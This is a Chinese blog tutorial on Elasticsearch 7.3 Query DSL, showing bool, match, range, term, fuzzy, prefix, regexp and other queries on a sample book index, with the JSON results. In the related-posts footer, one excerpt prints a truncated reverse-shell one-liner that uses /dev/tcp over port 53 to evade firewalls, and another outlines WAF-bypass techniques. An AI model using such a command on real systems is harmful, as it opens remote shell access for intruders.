1、Query DSL入门

1.1 DSL

DSL:Domain Specified Language,特定领域的语言。es特有的搜索语言,可在请求体中携带搜索条件,功能强大。

查询全部

GET /book/_search
{
"query": { "match_all": {} }
}

排序

GET /book/_search
{
  "query" : {
      "match" : {
          "name" : " java"
      }
  },
  "sort": [
      { "price": "desc" }
  ]
}

分页查询

GET  /book/_search
{
"query": { "match_all": {} },
"from": 0,
"size": 1
}

指定返回字段

GET /book/_search
{
"query": { "match_all": {} },
"_source": ["name", "studymodel"]
}

通过组合以上各种类型查询,实现复杂查询。

1.2 Query DSL语法

{
  QUERY_NAME: {
      ARGUMENT: VALUE,
      ARGUMENT: VALUE,...
  }
}
{
  QUERY_NAME: {
      FIELD_NAME: {
          ARGUMENT: VALUE,
          ARGUMENT: VALUE,...
      }
  }
}
GET /test_index/_search
{
"query": {
  "match": {
    "test_field": "test"
  }
}
}

1.3 组合多个搜索条件

搜索需求:

title字段必须包含elasticsearch,content可以包含elasticsearch也可以不包含,author_id必须不为111

初始数据:

POST /website/_doc/1
{
"title": "my hadoop article",
"content": "hadoop is very bad",
"author_id": 111
} POST /website/_doc/2
{
"title": "my elasticsearch article",
"content": "es is very bad",
"author_id": 112
}
POST /website/_doc/3
{
"title": "my elasticsearch article",
"content": "es is very goods",
"author_id": 111
}

搜索:

GET /website/_search
{
"query": {
"bool": {
"must": [
{
"match": {
"title": "elasticsearch"
}
}
],
"should": [
{
"match": {
"content": "elasticsearch"
}
}
],
"must_not": [
{
"match": {
"author_id": 111
}
}
]
}
}
}

返回:

{
"took" : 1,
"timed_out" : false,
"_shards" : {
"total" : 1,
"successful" : 1,
"skipped" : 0,
"failed" : 0
},
"hits" : {
"total" : {
"value" : 1,
"relation" : "eq"
},
"max_score" : 0.47000363,
"hits" : [
{
"_index" : "website",
"_type" : "_doc",
"_id" : "2",
"_score" : 0.47000363,
"_source" : {
"title" : "my elasticsearch article",
"content" : "es is very bad",
"author_id" : 112
}
}
]
}
}

再次查询一个更复杂的搜索需求,例如如下sql语句,采用ElasticSearch来实现。

select * from test_index where name='tom' or (hired =true and (personality ='good' and rude != true ))

ES语句如下:

GET /test_index/_search
{
  "query": {
          "bool": {
              "must": { "match":{ "name": "tom" }},
              "should": [
                  { "match":{ "hired": true }},
                  { "bool": {
                      "must":{ "match": { "personality": "good" }},
                      "must_not": { "match": { "rude": true }}
                  }}
              ],
              "minimum_should_match": 1
          }
  }
}

2、full-text search 全文检索

2.1 全文检索

首先创建book索引

PUT /book/
{
"settings": {
"number_of_shards": 1,
"number_of_replicas": 0
},
"mappings": {
"properties": {
"name": {
"type": "text",
"analyzer": "ik_max_word",
"search_analyzer": "ik_smart"
},
"description": {
"type": "text",
"analyzer": "ik_max_word",
"search_analyzer": "ik_smart"
},
"studymodel": {
"type": "keyword"
},
"price": {
"type": "double"
},
"timestamp": {
"type": "date",
"format": "yyyy-MM-dd HH:mm:ss||yyyy-MM-dd||epoch_millis"
},
"pic": {
"type": "text",
"index": false
}
}
}
}

插入数据

PUT /book/_doc/1
{
"name": "Bootstrap开发",
"description": "Bootstrap是由Twitter推出的一个前台页面开发css框架,是一个非常流行的开发框架,此框架集成了多种页面效果。此开发框架包含了大量的CSS、JS程序代码,可以帮助开发者(尤其是不擅长css页面开发的程序人员)轻松的实现一个css,不受浏览器限制的精美界面css效果。",
"studymodel": "201002",
"price": 38.6,
"timestamp": "2019-08-25 19:11:35",
"pic": "group1/M00/00/00/wKhlQFs6RCeAY0pHAAJx5ZjNDEM428.jpg",
"tags": [
"bootstrap",
"dev"
]
} PUT /book/_doc/2
{
"name": "java编程思想",
"description": "java语言是世界第一编程语言,在软件开发领域使用人数最多。",
"studymodel": "201001",
"price": 68.6,
"timestamp": "2019-08-25 19:11:35",
"pic": "group1/M00/00/00/wKhlQFs6RCeAY0pHAAJx5ZjNDEM428.jpg",
"tags": [
"java",
"dev"
]
} PUT /book/_doc/3
{
"name": "spring开发基础",
"description": "spring 在java领域非常流行,java程序员都在用。",
"studymodel": "201001",
"price": 88.6,
"timestamp": "2019-08-24 19:11:35",
"pic": "group1/M00/00/00/wKhlQFs6RCeAY0pHAAJx5ZjNDEM428.jpg",
"tags": [
"spring",
"java"
]
}

先简单的搜索一下,搜索description中包含java程序员的数据

GET /book/_search
{
"query": {
"match": {
"description": "java程序员"
}
}
}

结果如下

{
"took" : 257,
"timed_out" : false,
"_shards" : {
"total" : 1,
"successful" : 1,
"skipped" : 0,
"failed" : 0
},
"hits" : {
"total" : {
"value" : 2,
"relation" : "eq"
},
"max_score" : 2.137549,
"hits" : [
{
"_index" : "book",
"_type" : "_doc",
"_id" : "3",
"_score" : 2.137549,
"_source" : {
"name" : "spring开发基础",
"description" : "spring 在java领域非常流行,java程序员都在用。",
"studymodel" : "201001",
"price" : 88.6,
"timestamp" : "2019-08-24 19:11:35",
"pic" : "group1/M00/00/00/wKhlQFs6RCeAY0pHAAJx5ZjNDEM428.jpg",
"tags" : [
"spring",
"java"
]
}
},
{
"_index" : "book",
"_type" : "_doc",
"_id" : "2",
"_score" : 0.57961315,
"_source" : {
"name" : "java编程思想",
"description" : "java语言是世界第一编程语言,在软件开发领域使用人数最多。",
"studymodel" : "201001",
"price" : 68.6,
"timestamp" : "2019-08-25 19:11:35",
"pic" : "group1/M00/00/00/wKhlQFs6RCeAY0pHAAJx5ZjNDEM428.jpg",
"tags" : [
"java",
"dev"
]
}
}
]
}
}

2.2 _score简单介绍

对于上面的搜索结果来进行一个简单的结果分析

1、建立索引时, description字段 term 倒排索引

关键词 文档
java 2,3
程序员 3

2、搜索时,直接找description中含有java的文档 2,3,并且3号文档含有两个java字段,一个程序员,所以得分高,排在前面。2号文档含有一个java,排在后面。

这里只是简单的介绍一下_score这个字段的作用,更详细的后续会介绍。

3、DSL 语法练习

3.1 match_all

GET /book/_search
{
  "query": {
      "match_all": {}
  }
}

结果:

查看代码
{
"took" : 0,
"timed_out" : false,
"_shards" : {
"total" : 1,
"successful" : 1,
"skipped" : 0,
"failed" : 0
},
"hits" : {
"total" : {
"value" : 3,
"relation" : "eq"
},
"max_score" : 1.0,
"hits" : [
{
"_index" : "book",
"_type" : "_doc",
"_id" : "1",
"_score" : 1.0,
"_source" : {
"name" : "Bootstrap开发",
"description" : "Bootstrap是由Twitter推出的一个前台页面开发css框架,是一个非常流行的开发框架,此框架集成了多种页面效果。此开发框架包含了大量的CSS、JS程序代码,可以帮助开发者(尤其是不擅长css页面开发的程序人员)轻松的实现一个css,不受浏览器限制的精美界面css效果。",
"studymodel" : "201002",
"price" : 38.6,
"timestamp" : "2019-08-25 19:11:35",
"pic" : "group1/M00/00/00/wKhlQFs6RCeAY0pHAAJx5ZjNDEM428.jpg",
"tags" : [
"bootstrap",
"dev"
]
}
},
{
"_index" : "book",
"_type" : "_doc",
"_id" : "2",
"_score" : 1.0,
"_source" : {
"name" : "java编程思想",
"description" : "java语言是世界第一编程语言,在软件开发领域使用人数最多。",
"studymodel" : "201001",
"price" : 68.6,
"timestamp" : "2019-08-25 19:11:35",
"pic" : "group1/M00/00/00/wKhlQFs6RCeAY0pHAAJx5ZjNDEM428.jpg",
"tags" : [
"java",
"dev"
]
}
},
{
"_index" : "book",
"_type" : "_doc",
"_id" : "3",
"_score" : 1.0,
"_source" : {
"name" : "spring开发基础",
"description" : "spring 在java领域非常流行,java程序员都在用。",
"studymodel" : "201001",
"price" : 88.6,
"timestamp" : "2019-08-24 19:11:35",
"pic" : "group1/M00/00/00/wKhlQFs6RCeAY0pHAAJx5ZjNDEM428.jpg",
"tags" : [
"spring",
"java"
]
}
}
]
}
}

3.2 match

GET /book/_search
{
"query": {
"match": {
"description": "java程序员"
}
}
}

结果:

查看代码
{
"took" : 0,
"timed_out" : false,
"_shards" : {
"total" : 1,
"successful" : 1,
"skipped" : 0,
"failed" : 0
},
"hits" : {
"total" : {
"value" : 2,
"relation" : "eq"
},
"max_score" : 2.137549,
"hits" : [
{
"_index" : "book",
"_type" : "_doc",
"_id" : "3",
"_score" : 2.137549,
"_source" : {
"name" : "spring开发基础",
"description" : "spring 在java领域非常流行,java程序员都在用。",
"studymodel" : "201001",
"price" : 88.6,
"timestamp" : "2019-08-24 19:11:35",
"pic" : "group1/M00/00/00/wKhlQFs6RCeAY0pHAAJx5ZjNDEM428.jpg",
"tags" : [
"spring",
"java"
]
}
},
{
"_index" : "book",
"_type" : "_doc",
"_id" : "2",
"_score" : 0.57961315,
"_source" : {
"name" : "java编程思想",
"description" : "java语言是世界第一编程语言,在软件开发领域使用人数最多。",
"studymodel" : "201001",
"price" : 68.6,
"timestamp" : "2019-08-25 19:11:35",
"pic" : "group1/M00/00/00/wKhlQFs6RCeAY0pHAAJx5ZjNDEM428.jpg",
"tags" : [
"java",
"dev"
]
}
}
]
}
}

3.3 multi_match

GET /book/_search
{
"query": {
"multi_match": {
"query": "java程序员",
"fields": [
"name"
]
}
}
}

结果:

查看代码
{
"took" : 0,
"timed_out" : false,
"_shards" : {
"total" : 1,
"successful" : 1,
"skipped" : 0,
"failed" : 0
},
"hits" : {
"total" : {
"value" : 1,
"relation" : "eq"
},
"max_score" : 0.9331132,
"hits" : [
{
"_index" : "book",
"_type" : "_doc",
"_id" : "2",
"_score" : 0.9331132,
"_source" : {
"name" : "java编程思想",
"description" : "java语言是世界第一编程语言,在软件开发领域使用人数最多。",
"studymodel" : "201001",
"price" : 68.6,
"timestamp" : "2019-08-25 19:11:35",
"pic" : "group1/M00/00/00/wKhlQFs6RCeAY0pHAAJx5ZjNDEM428.jpg",
"tags" : [
"java",
"dev"
]
}
}
]
}
}

3.4 range query 范围查询

gt 大于 gte 大于等于

GET /book/_search
{
"query": {
"range": {
"price": {
"gte": 80,
"lte": 90
}
}
}
}

结果:

查看代码
{
"took" : 2,
"timed_out" : false,
"_shards" : {
"total" : 1,
"successful" : 1,
"skipped" : 0,
"failed" : 0
},
"hits" : {
"total" : {
"value" : 1,
"relation" : "eq"
},
"max_score" : 1.0,
"hits" : [
{
"_index" : "book",
"_type" : "_doc",
"_id" : "3",
"_score" : 1.0,
"_source" : {
"name" : "spring开发基础",
"description" : "spring 在java领域非常流行,java程序员都在用。",
"studymodel" : "201001",
"price" : 88.6,
"timestamp" : "2019-08-24 19:11:35",
"pic" : "group1/M00/00/00/wKhlQFs6RCeAY0pHAAJx5ZjNDEM428.jpg",
"tags" : [
"spring",
"java"
]
}
}
]
}
}

3.5 term query

字段为keyword时,存储和搜索都不分词

GET /book/_search
{
"query": {
"term": {
"description": "java程序员"
}
}
}

结果:

查看代码
{
"took" : 0,
"timed_out" : false,
"_shards" : {
"total" : 1,
"successful" : 1,
"skipped" : 0,
"failed" : 0
},
"hits" : {
"total" : {
"value" : 0,
"relation" : "eq"
},
"max_score" : null,
"hits" : [ ]
}
}

3.6 terms query

GET /book/_search
{
"query": {
"terms": {
"tag": [
"search",
"full_text",
"nosql"
]
}
}
}

结果:

查看代码
{
"took" : 0,
"timed_out" : false,
"_shards" : {
"total" : 1,
"successful" : 1,
"skipped" : 0,
"failed" : 0
},
"hits" : {
"total" : {
"value" : 0,
"relation" : "eq"
},
"max_score" : null,
"hits" : [ ]
}
}

3.7 exist query 查询有某些字段值的文档

GET /book/_search
{
  "query": {
      "exists": {
          "field": "join_date"
      }
  }
}

结果:

查看代码
{
"took" : 0,
"timed_out" : false,
"_shards" : {
"total" : 1,
"successful" : 1,
"skipped" : 0,
"failed" : 0
},
"hits" : {
"total" : {
"value" : 0,
"relation" : "eq"
},
"max_score" : null,
"hits" : [ ]
}
}

3.8 Fuzzy query 模糊查询

返回包含与搜索词类似的词的文档,该词由Levenshtein编辑距离度量。

包括以下几种情况:

  • 更改角色(box→fox)

  • 删除字符(aple→apple)

  • 插入字符(sick→sic)

  • 调换两个相邻字符(ACT→CAT)

GET /book/_search
{
"query": {
"fuzzy": {
"description": {
"value": "jave"
}
}
}
}

结果:

查看代码
{
"took" : 78,
"timed_out" : false,
"_shards" : {
"total" : 1,
"successful" : 1,
"skipped" : 0,
"failed" : 0
},
"hits" : {
"total" : {
"value" : 2,
"relation" : "eq"
},
"max_score" : 0.59524715,
"hits" : [
{
"_index" : "book",
"_type" : "_doc",
"_id" : "3",
"_score" : 0.59524715,
"_source" : {
"name" : "spring开发基础",
"description" : "spring 在java领域非常流行,java程序员都在用。",
"studymodel" : "201001",
"price" : 88.6,
"timestamp" : "2019-08-24 19:11:35",
"pic" : "group1/M00/00/00/wKhlQFs6RCeAY0pHAAJx5ZjNDEM428.jpg",
"tags" : [
"spring",
"java"
]
}
},
{
"_index" : "book",
"_type" : "_doc",
"_id" : "2",
"_score" : 0.43470988,
"_source" : {
"name" : "java编程思想",
"description" : "java语言是世界第一编程语言,在软件开发领域使用人数最多。",
"studymodel" : "201001",
"price" : 68.6,
"timestamp" : "2019-08-25 19:11:35",
"pic" : "group1/M00/00/00/wKhlQFs6RCeAY0pHAAJx5ZjNDEM428.jpg",
"tags" : [
"java",
"dev"
]
}
}
]
}
}

3.9 IDs

查询id

GET /book/_search
{
"query": {
"ids": {
"values" : ["1", "4", "100"]
}
}
}

结果:

查看代码
{
"took" : 0,
"timed_out" : false,
"_shards" : {
"total" : 1,
"successful" : 1,
"skipped" : 0,
"failed" : 0
},
"hits" : {
"total" : {
"value" : 1,
"relation" : "eq"
},
"max_score" : 1.0,
"hits" : [
{
"_index" : "book",
"_type" : "_doc",
"_id" : "1",
"_score" : 1.0,
"_source" : {
"name" : "Bootstrap开发",
"description" : "Bootstrap是由Twitter推出的一个前台页面开发css框架,是一个非常流行的开发框架,此框架集成了多种页面效果。此开发框架包含了大量的CSS、JS程序代码,可以帮助开发者(尤其是不擅长css页面开发的程序人员)轻松的实现一个css,不受浏览器限制的精美界面css效果。",
"studymodel" : "201002",
"price" : 38.6,
"timestamp" : "2019-08-25 19:11:35",
"pic" : "group1/M00/00/00/wKhlQFs6RCeAY0pHAAJx5ZjNDEM428.jpg",
"tags" : [
"bootstrap",
"dev"
]
}
}
]
}
}

3.10 prefix 前缀查询

GET /book/_search
{
"query": {
"prefix": {
"description": {
"value": "spring"
}
}
}
}

结果:

查看代码
{
"took" : 2,
"timed_out" : false,
"_shards" : {
"total" : 1,
"successful" : 1,
"skipped" : 0,
"failed" : 0
},
"hits" : {
"total" : {
"value" : 1,
"relation" : "eq"
},
"max_score" : 1.0,
"hits" : [
{
"_index" : "book",
"_type" : "_doc",
"_id" : "3",
"_score" : 1.0,
"_source" : {
"name" : "spring开发基础",
"description" : "spring 在java领域非常流行,java程序员都在用。",
"studymodel" : "201001",
"price" : 88.6,
"timestamp" : "2019-08-24 19:11:35",
"pic" : "group1/M00/00/00/wKhlQFs6RCeAY0pHAAJx5ZjNDEM428.jpg",
"tags" : [
"spring",
"java"
]
}
}
]
}
}

3.11 regexp query 正则查询

以j开头,以a结尾 .*一个或多个

GET /book/_search
{
"query": {
"regexp": {
"description": {
"value": "j.*a",
"flags": "ALL",
"max_determinized_states": 10000,
"rewrite": "constant_score"
}
}
}
}

结果:

查看代码

{
"took" : 1,
"timed_out" : false,
"_shards" : {
"total" : 1,
"successful" : 1,
"skipped" : 0,
"failed" : 0
},
"hits" : {
"total" : {
"value" : 2,
"relation" : "eq"
},
"max_score" : 1.0,
"hits" : [
{
"_index" : "book",
"_type" : "_doc",
"_id" : "2",
"_score" : 1.0,
"_source" : {
"name" : "java编程思想",
"description" : "java语言是世界第一编程语言,在软件开发领域使用人数最多。",
"studymodel" : "201001",
"price" : 68.6,
"timestamp" : "2019-08-25 19:11:35",
"pic" : "group1/M00/00/00/wKhlQFs6RCeAY0pHAAJx5ZjNDEM428.jpg",
"tags" : [
"java",
"dev"
]
}
},
{
"_index" : "book",
"_type" : "_doc",
"_id" : "3",
"_score" : 1.0,
"_source" : {
"name" : "spring开发基础",
"description" : "spring 在java领域非常流行,java程序员都在用。",
"studymodel" : "201001",
"price" : 88.6,
"timestamp" : "2019-08-24 19:11:35",
"pic" : "group1/M00/00/00/wKhlQFs6RCeAY0pHAAJx5ZjNDEM428.jpg",
"tags" : [
"spring",
"java"
]
}
}
]
}
}

ElasticSearch7.3学习(二十)----采用restful风格查询详解的更多相关文章

  1. ElasticSearch7.3学习(二十四)----相关度评分机制详解

    1.算法介绍 relevance score(相关性分数) 算法,简单来说,就是计算出,一个索引中的文本,与搜索文本,他们之间的关联匹配程度.Elasticsearch使用的是 term freque ...

  2. 渗透测试学习 二十八、WAF绕过详解

    大纲: WAF防护原理讲解 目录扫描绕过WAF 手工注入绕过WAF sqlmap绕过WAF 编写salmap绕过WAF 过WAF一句话编写讲解 菜刀连接绕过WAF webshell上传绕过WAF 提权 ...

  3. ElasticSearch7.3学习(二十五)----Doc value、query phase、fetch phase解析

    1.Doc value 搜索的时候,要依靠倒排索引: 排序的时候,需要依靠正排索引,看到每个document的每个field,然后进行排序. 所谓的正排索引,其实就是doc values. 在建立索引 ...

  4. ElasticSearch7.3学习(二十六)----搜索(Search)参数总结、结果跳跃(bouncing results)问题解析

    1.preference 首先引入一个bouncing results问题,两个document排序,field值相同:不同的shard上,可能排序不同:每次请求轮询打到不同的replica shar ...

  5. Redis进阶实践之二十 Redis的配置文件使用详解

    一.引言 写完上一篇有关redis使用lua脚本的文章,就有意结束Redis这个系列的文章了,当然了,这里的结束只是我这个系列的结束,但是要学的东西还有很多.但是,好多天过去了,总是感觉好像还缺点什么 ...

  6. ElasticSearch7.3学习(二十九)----聚合实战之使用Java api实现电视案例

    一.数据准备 创建索引及映射 建立价格.颜色.品牌.售卖日期字段 PUT /tvs PUT /tvs/_mapping { "properties": { "price& ...

  7. ElasticSearch7.3学习(二十二)----Text字段排序、Scroll分批查询场景解析

    1.Text字段排序 场景:数据库中按照某个字段排序,sql只需写order by 字段名即可,如果es对一个text field进行排序,es中无法排序.因为文档入倒排索引表时,分词存入,es无法知 ...

  8. ElasticSearch7.3学习(二十八)----聚合实战之电视案例

    一.电视案例 1.1 数据准备 创建索引及映射 建立价格.颜色.品牌.售卖日期 字段 PUT /tvs PUT /tvs/_mapping { "properties": { &q ...

  9. python接口自动化(二十)--token登录(详解)

    简介 为了验证用户登录情况以及减轻服务器的压力,减少频繁的查询数据库,使服务器更加健壮.有些登录不是用 cookie 来验证的,是用 token 参数来判断是否登录.token 传参有两种一种是放在请 ...

随机推荐

  1. Apache+PHP+Mysql安装手册(Linux)

    一. 检查系统环境 1.确认centos版本 [root@localhost ~]# cat /etc/redhat-release CentOS Linux release 7.2.1511 (Co ...

  2. 53端口反弹shell

    shell反弹 由于防火墙策略,导致并不能按预期的反弹shell,端口被封禁,可以使用53端口进行反弹shell 命令如下: bash -c 'sh -i &>/dev/tcp/210. ...

  3. luoguP6623 [省选联考 2020 A 卷] 树(trie树)

    luoguP6623 [省选联考 2020 A 卷] 树(trie树) Luogu 题外话: ...想不出来啥好说的了. 我认识的人基本都切这道题了. 就我只会10分暴力. 我是傻逼. 题解时间 先不 ...

  4. Github使用指南(学习中随时更新)

    注册好一个账号后先创建一个仓库 点击"Create repository"创建一个版本库 填好带*号的必填项,选择是要公开仓库还是私人使用,勾选自动添加README选项 READM ...

  5. svn 清理报错

    Can't install '*' from pristine store, because no checksum is recorded for this file svn同步时,提示clean ...

  6. Kafka02--Kafka生产者简要原理

    前言 在Kafka01--Kafka生产者使用方式中对KafkaProducer的基本使用方式进行了了解.以上只是使用方面,一个好的开元框架必定是易于开发者使用的,但是对生产者的基本逻辑流程和数据流转 ...

  7. 为什么Java不支持运算符重载?

    另一个类似棘手的Java问题.为什么 C++ 支持运算符重载而 Java 不支持? 有人可能会说+运算符在 Java 中已被重载用于字符串连接,不要被这些论据所欺骗.与 C++ 不同,Java 不支持 ...

  8. 用 Java 写一个线程安全的单例模式(Singleton)?

    请参考答案中的示例代码,这里面一步一步教你创建一个线程安全的 Java 单例类.当我们说线程安全时,意思是即使初始化是在多线程环境中,仍然能保证单个实例.Java 中,使用枚举作为单例类是最简单的方式 ...

  9. Java 中 interrupted 和 isInterrupted 方法的区别?

    interrupt interrupt 方法用于中断线程.调用该方法的线程的状态为将被置为"中断"状态. 注意:线程中断仅仅是置线程的中断状态位,不会停止线程.需要用户自己去监 视 ...

  10. 初识Spring(为什么要使用Spring?)

    Spring,英文翻译是春天的意思,而在Java中,是一个开放源代码的设计层面框架(手动滑稽,程序员的春天),他解决的是业务逻辑层和其他各层的松耦合问题,因此它将面向接口的编程思想贯穿整个系统应用.S ...